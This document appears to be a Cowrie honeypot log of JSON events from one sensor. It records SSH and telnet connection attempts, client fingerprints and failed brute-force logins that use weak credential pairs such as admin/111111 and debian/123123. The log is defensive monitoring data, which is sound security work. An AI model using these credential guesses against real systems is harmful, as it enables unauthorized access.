{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:35.540380Z","src_ip":"159.203.92.129","session":"bcf16c8bc024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:36.547301Z","src_ip":"159.203.92.129","session":"bcf16c8bc024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00716876983643,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:48:45.160037Z","src_ip":"105.155.165.80","session":"7058063d88c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47404,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b2323f6cf88","protocol":"ssh","message":"New connection: 68.183.236.1:47404 (10.17.0.5:22) [session: 8b2323f6cf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:02.052214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:02.061442Z","src_ip":"68.183.236.1","session":"8b2323f6cf88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:02.309808Z","src_ip":"68.183.236.1","session":"8b2323f6cf88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12","message":"login attempt [admin/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:03.321366Z","src_ip":"68.183.236.1","session":"8b2323f6cf88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:04.572016Z","src_ip":"68.183.236.1","session":"8b2323f6cf88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36080,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d8820c2723","protocol":"ssh","message":"New connection: 159.203.92.129:36080 (159.203.135.109:22) [session: 72d8820c2723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:17.627179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:17.632480Z","src_ip":"159.203.92.129","session":"72d8820c2723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:17.637866Z","src_ip":"159.203.92.129","session":"72d8820c2723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111111","message":"login attempt [admin/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:17.655502Z","src_ip":"159.203.92.129","session":"72d8820c2723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:18.664956Z","src_ip":"159.203.92.129","session":"72d8820c2723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42710,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f677a8ab4a","protocol":"ssh","message":"New connection: 159.203.92.129:42710 (159.203.135.109:22) [session: 13f677a8ab4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:59.525063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:59.531590Z","src_ip":"159.203.92.129","session":"13f677a8ab4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:59.539573Z","src_ip":"159.203.92.129","session":"13f677a8ab4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"11111111","message":"login attempt [admin/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:49:59.553697Z","src_ip":"159.203.92.129","session":"13f677a8ab4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:00.562931Z","src_ip":"159.203.92.129","session":"13f677a8ab4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":46366,"dst_ip":"10.17.0.5","dst_port":22,"session":"abafd949339c","protocol":"ssh","message":"New connection: 68.183.236.1:46366 (10.17.0.5:22) [session: abafd949339c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:03.833563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:03.838411Z","src_ip":"68.183.236.1","session":"abafd949339c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:04.088457Z","src_ip":"68.183.236.1","session":"abafd949339c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test123","message":"login attempt [git/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:05.072068Z","src_ip":"68.183.236.1","session":"abafd949339c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:06.314798Z","src_ip":"68.183.236.1","session":"abafd949339c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.241.79.66","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd35e919d8a9","protocol":"telnet","message":"New connection: 120.241.79.66:47122 (159.203.135.109:23) [session: dd35e919d8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:16.897145Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51918,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5736443ffa3","protocol":"ssh","message":"New connection: 159.203.92.129:51918 (159.203.135.109:22) [session: e5736443ffa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:43.666742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:43.671926Z","src_ip":"159.203.92.129","session":"e5736443ffa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:43.676805Z","src_ip":"159.203.92.129","session":"e5736443ffa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"11112222","message":"login attempt [admin/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:43.698305Z","src_ip":"159.203.92.129","session":"e5736443ffa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:44.705963Z","src_ip":"159.203.92.129","session":"e5736443ffa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.190.241","src_port":56469,"dst_ip":"10.17.0.5","dst_port":23,"session":"c875ba48158d","protocol":"telnet","message":"New connection: 103.98.190.241:56469 (10.17.0.5:23) [session: c875ba48158d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:50:47.899920Z"}
{"eventid":"cowrie.session.closed","duration":12.922953367233276,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:00.822741Z","src_ip":"103.98.190.241","session":"c875ba48158d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":52344,"dst_ip":"10.17.0.5","dst_port":22,"session":"a162c2ca1685","protocol":"ssh","message":"New connection: 68.183.236.1:52344 (10.17.0.5:22) [session: a162c2ca1685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:04.797679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:04.810026Z","src_ip":"68.183.236.1","session":"a162c2ca1685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:05.073235Z","src_ip":"68.183.236.1","session":"a162c2ca1685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123123","message":"login attempt [debian/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:06.121263Z","src_ip":"68.183.236.1","session":"a162c2ca1685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:07.384224Z","src_ip":"68.183.236.1","session":"a162c2ca1685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59848,"dst_ip":"159.203.135.109","dst_port":22,"session":"46116d6fe57b","protocol":"ssh","message":"New connection: 159.203.92.129:59848 (159.203.135.109:22) [session: 46116d6fe57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:28.554744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:28.559053Z","src_ip":"159.203.92.129","session":"46116d6fe57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:28.563101Z","src_ip":"159.203.92.129","session":"46116d6fe57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"11q2w3e4r.","message":"login attempt [admin/11q2w3e4r.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:28.574024Z","src_ip":"159.203.92.129","session":"46116d6fe57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:51:29.581811Z","src_ip":"159.203.92.129","session":"46116d6fe57b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":52698,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62c40ca3094","protocol":"ssh","message":"New connection: 68.183.236.1:52698 (10.17.0.5:22) [session: d62c40ca3094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:05.293428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:52:05.299825Z","src_ip":"68.183.236.1","session":"d62c40ca3094","protocol":"ssh"}
